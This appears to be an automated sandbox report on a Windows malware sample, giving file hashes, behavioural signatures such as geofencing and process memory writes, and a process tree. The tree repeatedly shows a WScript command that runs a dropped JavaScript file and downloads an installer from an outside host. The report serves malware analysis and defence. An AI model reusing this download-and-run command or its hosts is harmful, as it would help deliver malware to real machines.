Analysis

  • max time kernel
    92s
  • max time network
    96s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240426-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31/05/2024, 00:11

General

  • Target

    8564fe967480420684a26ed38e7b2f45_JaffaCakes118.exe

  • Size

    184KB

  • MD5

    8564fe967480420684a26ed38e7b2f45

  • SHA1

    5555b5d2aa542d220a87263a3c632063a807814f

  • SHA256

    b92eeba9bc56f96d4b623406933739a3ba53e34f907eeb9f7db93f0a285152d9

  • SHA512

    85046c85fe5ad967ec4cdb71139c399bc600055e0ad71c81f9bdad8ebd3667f3e5103d7910c10b175ddea37e04163315589c65d81e582a20283cb00f49a2eb7d

  • SSDEEP

    3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3S:/7BSH8zUB+nGESaaRvoB7FJNndnD

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 6 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 1 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\8564fe967480420684a26ed38e7b2f45_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\8564fe967480420684a26ed38e7b2f45_JaffaCakes118.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious use of WriteProcessMemory
    PID:804
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf371D.js" http://www.djapp.info/?domain=JqBWnRsvrK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf371D.exe
      2⤵
      • Blocklisted process makes network request
      PID:2996
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf371D.js" http://www.djapp.info/?domain=JqBWnRsvrK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf371D.exe
      2⤵
      • Blocklisted process makes network request
      PID:1480
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf371D.js" http://www.djapp.info/?domain=JqBWnRsvrK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf371D.exe
      2⤵
      • Blocklisted process makes network request
      PID:632
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf371D.js" http://www.djapp.info/?domain=JqBWnRsvrK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf371D.exe
      2⤵
      • Blocklisted process makes network request
      PID:60
    • C:\Windows\SysWOW64\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf371D.js" http://www.djapp.info/?domain=JqBWnRsvrK.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf371D.exe
      2⤵
      • Blocklisted process makes network request
      PID:4536

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\fuf371D.js

    Filesize

    3KB

    MD5

    3813cab188d1de6f92f8b82c2059991b

    SHA1

    4807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb

    SHA256

    a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e

    SHA512

    83b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76